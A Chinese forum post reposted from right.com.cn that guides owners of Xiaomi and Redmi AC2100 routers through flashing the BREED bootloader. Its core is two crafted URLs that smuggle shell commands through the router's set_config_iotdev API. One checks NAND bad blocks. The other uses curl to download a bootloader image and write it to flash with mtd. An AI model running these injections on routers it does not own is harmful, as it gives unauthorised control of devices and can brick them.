小米 红米【AC2100】一键刷BREED【30秒刷完】小白帅小伙专用 检查坏块 | 无需Telnet

原地址：https://www.right.com.cn/forum/thread-4066963-1-1.html

我发现就算再怎么简单，都会有人不会刷 BREED。
今天花了点时间从新写了 URL 注入，只需要一步就可以刷 BREED。30 秒刷完！！！

首先需要降级固件：

红米 AC2100: http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm2100/miwifi_rm2100_firmware_d6234_2.0.7.bin

小米 AC2100：http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/r2100/miwifi_r2100_firmware_4b519_2.0.722.bin

下载完成后进入后台 192.168.31.1-> 常用设置 -> 系统状态 -> 手动升级

加载固件，可以保留数据 -> 开始升级

下面开始进入主题，真·30 秒刷 BREED！

首先需要确保路由器有网络，有网络才能自动下载 BREED。

• 进入后台 192.168.31.1，复制自己的 stok，看图
• 用复制的 stok 替换掉下面代码 (隐藏内容) 中的 CCCCCCCCCCC（看图）
• 复制修改好 stok 的代码，粘贴到浏览器，回车。(浏览器会显示 : {"code":0} ). 如果显示其他代码，可能是你还没降级固件或者 stok 过期。也可以恢复出厂从试。
• 此代码是用来检查 NAND 坏块的。路由器开机超过一小时建议先重启。运行代码后，你路由器的 2.4g WiFi 名称会改名成：比如 "ESMT"，"Toshiba"，"Toshiba 90 768"。90 和 768 是坏块。如果 ESMT 或者 Toshiba 后面没数字，那恭喜你，没有坏块！！！

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0A%5B%20-z%20%22%24(dmesg%20%7C%20grep%20ESMT)%22%20%5D%20%26%26%20B%3D%22Toshiba%22%20%7C%7C%20B%3D%22ESMT%22%0Auci%20set%20wireless.%24(uci%20show%20wireless%20%7C%20awk%20-F%20′.’%20’%2Fwl1%2F%20%7Bprint%20%242%7D’).ssid%3D%22%24B%20%24(dmesg%20%7C%20awk%20’%2FBad%2F%20%7Bprint%20%245%7D’)%22%0A%2Fetc%2Finit.d%2Fnetwork%20restart%0A

此代码是用来刷 BREED 的。你可以先检查坏块，不检查也没关系。Bootloader 那里肯定不会有坏块，不然官方 Uboot 也会出问题的。

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fr1286%2520%255b2020-10-09%255d%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

如果路由器在 60 秒内重启则代表刷 BREED 成功(灯会从蓝变橘，最终变蓝进入系统)。
如果没重启，可能是 stok 过期了。进入后台复制新的 stok 即可。也有可能下载的 BREED 损坏，从新运行代码。也有可能没网络。

成功后拔掉电源，按住 reset 同时接上电源等 10 秒即可进入 breed。需要注意的是如果闪蓝灯那就是 BREED。如果是闪橘灯那就是原厂 UBOOT。
最后用进入浏览器，最好是隐身模式，输入 192.168.1.1 ENTER.
刷完后可能无法进入原厂系统，进 BREED 删变量：normal_firmware_md5